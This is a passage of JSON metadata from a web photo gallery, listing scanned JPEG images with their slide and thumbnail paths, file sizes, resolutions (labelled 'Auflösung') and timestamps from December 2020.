    S22C-620121018530 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018530_0001.jpg","width":340,"height":260},"fileSize":140331,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018530_0001.jpg","dates":{"dateTaken":1608392236},"fileDate":"2020-12-19T16:37:16.505Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:16.505Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018531_0001.jpg","image":{"path":"slides\/S22C-620121018531_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018531 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018531_0001.jpg","width":340,"height":260},"fileSize":510529,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018531_0001.jpg","dates":{"dateTaken":1608392237},"fileDate":"2020-12-19T16:37:17.940Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:17.940Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018533_0001.jpg","image":{"path":"slides\/S22C-620121018533_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018533 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018533_0001.jpg","width":340,"height":260},"fileSize":394319,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018533_0001.jpg","dates":{"dateTaken":1608392241},"fileDate":"2020-12-19T16:37:21.423Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:21.423Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018534_0001.jpg","image":{"path":"slides\/S22C-620121018534_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018534 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018534_0001.jpg","width":340,"height":260},"fileSize":383487,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018534_0001.jpg","dates":{"dateTaken":1608392243},"fileDate":"2020-12-19T16:37:23.537Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:23.537Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018540_0001.jpg","image":{"path":"slides\/S22C-620121018540_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018540 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018540_0001.jpg","width":340,"height":260},"fileSize":335251,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018540_0001.jpg","dates":{"dateTaken":1608392245},"fileDate":"2020-12-19T16:37:25.275Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:25.275Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018541_0001.jpg","image":{"path":"slides\/S22C-620121018541_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018541 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018541_0001.jpg","width":340,"height":260},"fileSize":346345,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018541_0001.jpg","dates":{"dateTaken":1608392249},"fileDate":"2020-12-19T16:37:29.108Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:29.108Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018542_0001.jpg","image":{"path":"slides\/S22C-620121018542_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018542 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018542_0001.jpg","width":340,"height":260},"fileSize":337936,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018542_0001.jpg","dates":{"dateTaken":1608392251},"fileDate":"2020-12-19T16:37:31.120Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:31.120Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018550_0001.jpg","image":{"path":"slides\/S22C-620121018550_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018550 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018550_0001.jpg","width":340,"height":260},"fileSize":619692,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018550_0001.jpg","dates":{"dateTaken":1608392252},"fileDate":"2020-12-19T16:37:32.747Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:32.747Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018552_0001.jpg","image":{"path":"slides\/S22C-620121018552_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018552 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018552_0001.jpg","width":340,"height":260},"fileSize":145385,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018552_0001.jpg","dates":{"dateTaken":1608392253},"fileDate":"2020-12-19T16:37:33.786Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:33.786Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018553_0001.jpg","image":{"path":"slides\/S22C-620121018553_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018553 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018553_0001.jpg","width":340,"height":260},"fileSize":508970,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018553_0001.jpg","dates":{"dateTaken":1608392254},"fileDate":"2020-12-19T16:37:34.824Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:34.824Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018554_0001.jpg","image":{"path":"slides\/S22C-620121018554_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121018554 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018554_0001.jpg","width":340,"height":260},"fileSize":378110,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018554_0001.jpg","dates":{"dateTaken":1608392258},"fileDate":"2020-12-19T16:37:38.77Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:38.77Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018560_0001.jpg","image":{"path":"slides\/S22C-620121018560_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018560 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018560_0001.jpg","width":340,"height":260},"fileSize":732209,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018560_0001.jpg","dates":{"dateTaken":1608392259},"fileDate":"2020-12-19T16:37:39.776Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:39.776Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018561_0001.jpg","image":{"path":"slides\/S22C-620121018561_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018561 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018561_0001.jpg","width":340,"height":260},"fileSize":371636,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018561_0001.jpg","dates":{"dateTaken":1608392260},"fileDate":"2020-12-19T16:37:40.755Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:40.755Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018562_0001.jpg","image":{"path":"slides\/S22C-620121018562_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121018562 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018562_0001.jpg","width":340,"height":260},"fileSize":502438,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018562_0001.jpg","dates":{"dateTaken":1608392271},"fileDate":"2020-12-19T16:37:51.474Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:51.474Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018563_0001.jpg","image":{"path":"slides\/S22C-620121018563_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018563 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018563_0001.jpg","width":340,"height":260},"fileSize":479561,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018563_0001.jpg","dates":{"dateTaken":1608392273},"fileDate":"2020-12-19T16:37:53.910Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:53.910Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018570_0001.jpg","image":{"path":"slides\/S22C-620121018570_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018570 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018570_0001.jpg","width":340,"height":260},"fileSize":653727,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018570_0001.jpg","dates":{"dateTaken":1608392275},"fileDate":"2020-12-19T16:37:55.414Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:55.414Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018572_0001.jpg","image":{"path":"slides\/S22C-620121018572_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018572 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018572_0001.jpg","width":340,"height":260},"fileSize":273826,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018572_0001.jpg","dates":{"dateTaken":1608392276},"fileDate":"2020-12-19T16:37:56.750Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:56.750Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018580_0001.jpg","image":{"path":"slides\/S22C-620121018580_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018580 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018580_0001.jpg","width":340,"height":260},"fileSize":217714,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018580_0001.jpg","dates":{"dateTaken":1608392279},"fileDate":"2020-12-19T16:37:59.329Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:59.329Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018581_0001.jpg","image":{"path":"slides\/S22C-620121018581_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018581 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018581_0001.jpg","width":340,"height":260},"fileSize":346623,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018581_0001.jpg","dates":{"dateTaken":1608392280},"fileDate":"2020-12-19T16:38:00.729Z","category":"image","camera":{"originalDate":"2020-12-19T16:38:00.729Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018582_0001.jpg","image":{"path":"slides\/S22C-620121018582_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018582 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018582_0001.jpg","width":340,"height":260},"fileSize":617351,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018582_0001.jpg","dates":{"dateTaken":1608392281},"fileDate":"2020-12-19T16:38:01.844Z","category":"image","camera":{"originalDate":"2020-12-19T16:38:01.844Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018583_0001.jpg","image":{"path":"slides\/S22C-620121018583_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018583 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018583_0001.jpg","width":340,"height":260},"fileSize":300977,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018583_0001.jpg","dates":{"dateTaken":1608392283},"fileDate":"2020-12-19T16:38:03.713Z","category":"image","camera":{"originalDate":"2020-12-19T16:38:03.713Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018590_0001.jpg","image":{"path":"slides\/S22C-620121018590_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121018590 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018590_0001.jpg","width":340,"height":260},"fileSize":173336,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018590_0001.jpg","dates":{"dateTaken":1608392285},"fileDate":"2020-12-19T16:38:05.980Z","category":"image","camera":{"originalDate":"2020-12-19T16:38:05.980Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018591_0001.jpg","image":{"path":"slides\/S22C-620121018591_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018591 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018591_0001.jpg","width":340,"height":260},"fileSize":193268,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018591_0001.jpg","dates":{"dateTaken":1608392287},"fileDate":"2020-12-19T16:38:07.239Z","category":"image","camera":{"originalDate":"2020-12-19T16:38:07.239Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018592_0001.jpg","image":{"path":"slides\/S22C-620121018592_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121018592 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018592_0001.jpg","width":340,"height":260},"fileSize":997380,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018592_0001.jpg","dates":{"dateTaken":1608392295},"fileDate":"2020-12-19T16:38:15.524Z","category":"image","camera":{"originalDate":"2020-12-19T16:38:15.524Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018593_0001.jpg","image":{"path":"slides\/S22C-620121018593_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018593 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018593_0001.jpg","width":340,"height":260},"fileSize":446229,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018593_0001.jpg","dates":{"dateTaken":1608392298},"fileDate":"2020-12-19T16:38:18.615Z","category":"image","camera":{"originalDate":"2020-12-19T16:38:18.615Z","resolution":"1653 x 2338"}},{"path":"S22C-620121019001_0001.jpg","image":{"path":"slides\/S22C-620121019001_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121019001 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019001_0001.jpg","width":340,"height":260},"fileSize":356164,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121019001_0001.jpg","dates":{"dateTaken":1608392300},"fileDate":"2020-12-19T16:38:20.12Z","category":"image","camera":{"originalDate":"2020-12-19T16:38:20.12Z","resolution":"1653 x 2338"}},{"path":"S22C-620121019002_0001.jpg","image":{"path":"slides\/S22C-620121019002_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121019002 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019002_0001.jpg","width":340,"height":260},"fileSize":299604,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121019002_0001.jpg","dates":{"dateTaken":1608392301},"fileDate":"2020-12-19T16:38:21.188Z","category":"image","camera":{"originalDate":"2020-12-19T16:38:21.188Z","resolution":"1653 x 2338"}},{"path":"S22C-620121019003_0001.jpg","image":{"path":"slides\/S22C-620121019003_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121019003 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019003_0001.jpg","width":340,"height":260},"fileSize":451821,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121019003_0001.jpg","dates":{"dateTaken":1608392302},"fileDate":"2020-12-19T16:38:22.388Z","category":"image","camera":{"originalDate":"2020-12-19T16:38:22.388Z","resolution":"1653 x 2338"}},{"path":"S22C-620121019010_0001.jpg","image":{"path":"slides\/S22C-620121019010_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121019010 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019010_0001.jpg","width":340,"height":260},"fileSize":276880,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121019010_0001.jpg","dates":{"dateTaken":1608392303},"fileDate":"2020-12-19T16:38:23.288Z","category":"image","camera":{"originalDate":"2020-12-19T16:38:23.288Z","resolution":"1653 x 2338"}},{"path":"S22C-620121019011_0001.jpg","image":{"path":"slides\/S22C-620121019011_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121019011 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019011_0001.jpg","width":340,"height":260},"fileSize":319210,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121019011_0001.jpg","dates":{"dateTaken":1608392305},"fileDate":"2020-12-19T16:38:25.59Z","category":"image","camera":{"originalDate":"2020-12-19T16:38:25.59Z","resolution":"1653 x 2338"}},{"path":"S22C-620121019013_0001.jpg","image":{"path":"slides\/S22C-620121019013_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121019013 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019013_0001.jpg","width":340,"height":260},"fileSize":681825,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121019013_0001.jpg","dates":{"dateTaken":1608392307},"fileDate":"2020-12-19T16:38:27.308Z","category":"image","camera":{"originalDate":"2020-12-19T16:38:27.308Z","resolution":"1653 x 2338"}},{"path":"S22C-620121019014_0001.jpg","image":{"path":"slides\/S22C-620121019014_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121019014 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019014_0001.jpg","width":340,"height":260},"fileSize":399932,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121019014_0001.jpg","dates":{"dateTaken":1608392310},"fileDate":"2020-12-19T16:38:30.136Z","category":"image","camera":{"originalDate":"2020-12-19T16:38:30.136Z","resolution":"1653 x 2338"}},{"path":"S22C-620121019020_0001.jpg","image":{"path":"slides\/S22C-620121019020_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121019020 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019020_0001.jpg","width":340,"height":260},"fileSize":575621,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121019020_0001.jpg","dates":{"dateTaken":1608392312},"fileDate":"2020-12-19T16:38:32.642Z","category":"image","camera":{"originalDate":"2020-12-19T16:38:32.642Z","resolution":"1653 x 2338"}},{"path":"S22C-620121019022_0001.jpg","image":{"path":"slides\/S22C-620121019022_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121019022 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019022_0001.jpg","width":340,"height":260},"fileSize":350256,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121019022_0001.jpg","dates":{"dateTaken":1608392314},"fileDate":"2020-12-19T16:38:34.157Z","category":"image","camera":{"originalDate":"2020-12-19T16:38:34.157Z","resolution":"1653 x 2338"}},{"path":"S22C-620121019060_0001.jpg","image":{"path":"slides\/S22C-620121019060_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121019060 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019060_0001.jpg","width":340,"height":260},"fileSize":714731,"photodata":"

    Auflösung<\/b> 3307 x 2338<\/i><\/p>","name":"S22C-620121019060_0001.jpg","dates":{"dateTaken":1608392325},"fileDate":"2020-12-19T16:38:45.656Z","category":"image","camera":{"originalDate":"2020-12-19T16:38:45.656Z","resolution":"3307 x 2338"}},{"path":"S22C-620121019071_0001.jpg","image":{"path":"slides\/S22C-620121019071_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121019071 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019071_0001.jpg","width":340,"height":260},"fileSize":566559,"photodata":"

    Auflösung<\/b> 3307 x 2338<\/i><\/p>","name":"S22C-620121019071_0001.jpg","dates":{"dateTaken":1608392330},"fileDate":"2020-12-19T16:38:50.612Z","category":"image","camera":{"originalDate":"2020-12-19T16:38:50.612Z","resolution":"3307 x 2338"}},{"path":"S22C-620121019072_0001.jpg","image":{"path":"slides\/S22C-620121019072_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121019072 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019072_0001.jpg","width":340,"height":260},"fileSize":913225,"photodata":"

    Auflösung<\/b> 3307 x 2338<\/i><\/p>","name":"S22C-620121019072_0001.jpg","dates":{"dateTaken":1608392332},"fileDate":"2020-12-19T16:38:52.53Z","category":"image","camera":{"originalDate":"2020-12-19T16:38:52.53Z","resolution":"3307 x 2338"}},{"path":"S22C-620121019081_0001.jpg","image":{"path":"slides\/S22C-620121019081_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121019081 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019081_0001.jpg","width":340,"height":260},"fileSize":396016,"photodata":"

    Auflösung<\/b> 3307 x 2338<\/i><\/p>","name":"S22C-620121019081_0001.jpg","dates":{"dateTaken":1608392336},"fileDate":"2020-12-19T16:38:56.571Z","category":"image","camera":{"originalDate":"2020-12-19T16:38:56.571Z","resolution":"3307 x 2338"}},{"path":"S22C-620121019121_0001.jpg","image":{"path":"slides\/S22C-620121019121_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121019121 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019121_0001.jpg","width":340,"height":260},"fileSize":442066,"photodata":"

    Auflösung<\/b> 2338 x 1653<\/i><\/p>","name":"S22C-620121019121_0001.jpg","dates":{"dateTaken":1608392355},"fileDate":"2020-12-19T16:39:15.277Z","category":"image","camera":{"originalDate":"2020-12-19T16:39:15.277Z","resolution":"2338 x 1653"}},{"path":"S22C-620121019122_0001.jpg","image":{"path":"slides\/S22C-620121019122_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121019122 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019122_0001.jpg","width":340,"height":260},"fileSize":485569,"photodata":"

    Auflösung<\/b> 3307 x 2338<\/i><\/p>","name":"S22C-620121019122_0001.jpg","dates":{"dateTaken":1608392358},"fileDate":"2020-12-19T16:39:18.344Z","category":"image","camera":{"originalDate":"2020-12-19T16:39:18.344Z","resolution":"3307 x 2338"}},{"path":"S22C-620121019140_0001.jpg","image":{"path":"slides\/S22C-620121019140_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121019140 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019140_0001.jpg","width":340,"height":260},"fileSize":576188,"photodata":"

    Auflösung<\/b> 3307 x 2338<\/i><\/p>","name":"S22C-620121019140_0001.jpg","dates":{"dateTaken":1608392362},"fileDate":"2020-12-19T16:39:22.841Z","category":"image","camera":{"originalDate":"2020-12-19T16:39:22.841Z","resolution":"3307 x 2338"}},{"path":"S22C-620121513020_0001.jpg","image":{"path":"slides\/S22C-620121513020_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513020 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513020_0001.jpg","width":340,"height":260},"fileSize":316346,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513020_0001.jpg","dates":{"dateTaken":1608392372},"fileDate":"2020-12-19T16:39:32.627Z","category":"image","camera":{"originalDate":"2020-12-19T16:39:32.627Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513041_0001.jpg","image":{"path":"slides\/S22C-620121513041_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121513041 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513041_0001.jpg","width":340,"height":260},"fileSize":738739,"photodata":"

    Auflösung<\/b> 3307 x 2338<\/i><\/p>","name":"S22C-620121513041_0001.jpg","dates":{"dateTaken":1608392379},"fileDate":"2020-12-19T16:39:39.849Z","category":"image","camera":{"originalDate":"2020-12-19T16:39:39.849Z","resolution":"3307 x 2338"}},{"path":"S22C-620121513050_0001.jpg","image":{"path":"slides\/S22C-620121513050_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121513050 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513050_0001.jpg","width":340,"height":260},"fileSize":784538,"photodata":"

    Auflösung<\/b> 3307 x 2338<\/i><\/p>","name":"S22C-620121513050_0001.jpg","dates":{"dateTaken":1608392381},"fileDate":"2020-12-19T16:39:41.910Z","category":"image","camera":{"originalDate":"2020-12-19T16:39:41.910Z","resolution":"3307 x 2338"}},{"path":"S22C-620121513060_0001.jpg","image":{"path":"slides\/S22C-620121513060_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121513060 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513060_0001.jpg","width":340,"height":260},"fileSize":913074,"photodata":"

    Auflösung<\/b> 3307 x 2338<\/i><\/p>","name":"S22C-620121513060_0001.jpg","dates":{"dateTaken":1608392386},"fileDate":"2020-12-19T16:39:46.953Z","category":"image","camera":{"originalDate":"2020-12-19T16:39:46.953Z","resolution":"3307 x 2338"}},{"path":"S22C-620121513070_0001.jpg","image":{"path":"slides\/S22C-620121513070_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121513070 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513070_0001.jpg","width":340,"height":260},"fileSize":1021107,"photodata":"

    Auflösung<\/b> 3307 x 2338<\/i><\/p>","name":"S22C-620121513070_0001.jpg","dates":{"dateTaken":1608392391},"fileDate":"2020-12-19T16:39:51.932Z","category":"image","camera":{"originalDate":"2020-12-19T16:39:51.932Z","resolution":"3307 x 2338"}},{"path":"S22C-620121513071_0001.jpg","image":{"path":"slides\/S22C-620121513071_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121513071 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513071_0001.jpg","width":340,"height":260},"fileSize":820945,"photodata":"

    Auflösung<\/b> 3307 x 2338<\/i><\/p>","name":"S22C-620121513071_0001.jpg","dates":{"dateTaken":1608392394},"fileDate":"2020-12-19T16:39:54.628Z","category":"image","camera":{"originalDate":"2020-12-19T16:39:54.628Z","resolution":"3307 x 2338"}},{"path":"S22C-620121513100_0001.jpg","image":{"path":"slides\/S22C-620121513100_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513100 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513100_0001.jpg","width":340,"height":260},"fileSize":492475,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513100_0001.jpg","dates":{"dateTaken":1608392403},"fileDate":"2020-12-19T16:40:03.249Z","category":"image","camera":{"originalDate":"2020-12-19T16:40:03.249Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513101_0001.jpg","image":{"path":"slides\/S22C-620121513101_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513101 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513101_0001.jpg","width":340,"height":260},"fileSize":508669,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513101_0001.jpg","dates":{"dateTaken":1608392407},"fileDate":"2020-12-19T16:40:07.758Z","category":"image","camera":{"originalDate":"2020-12-19T16:40:07.758Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513110_0001.jpg","image":{"path":"slides\/S22C-620121513110_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513110 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513110_0001.jpg","width":340,"height":260},"fileSize":247843,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513110_0001.jpg","dates":{"dateTaken":1608392409},"fileDate":"2020-12-19T16:40:09.551Z","category":"image","camera":{"originalDate":"2020-12-19T16:40:09.551Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513111_0001.jpg","image":{"path":"slides\/S22C-620121513111_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513111 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513111_0001.jpg","width":340,"height":260},"fileSize":343340,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513111_0001.jpg","dates":{"dateTaken":1608392410},"fileDate":"2020-12-19T16:40:10.820Z","category":"image","camera":{"originalDate":"2020-12-19T16:40:10.820Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513112_0001.jpg","image":{"path":"slides\/S22C-620121513112_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513112 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513112_0001.jpg","width":340,"height":260},"fileSize":290287,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513112_0001.jpg","dates":{"dateTaken":1608392412},"fileDate":"2020-12-19T16:40:12.82Z","category":"image","camera":{"originalDate":"2020-12-19T16:40:12.82Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513120_0001.jpg","image":{"path":"slides\/S22C-620121513120_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513120 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513120_0001.jpg","width":340,"height":260},"fileSize":381142,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513120_0001.jpg","dates":{"dateTaken":1608392413},"fileDate":"2020-12-19T16:40:13.307Z","category":"image","camera":{"originalDate":"2020-12-19T16:40:13.307Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513121_0001.jpg","image":{"path":"slides\/S22C-620121513121_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513121 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513121_0001.jpg","width":340,"height":260},"fileSize":501265,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513121_0001.jpg","dates":{"dateTaken":1608392414},"fileDate":"2020-12-19T16:40:14.529Z","category":"image","camera":{"originalDate":"2020-12-19T16:40:14.529Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513122_0001.jpg","image":{"path":"slides\/S22C-620121513122_0001.jpg","width":1000,"height":707},"imageCaption":"

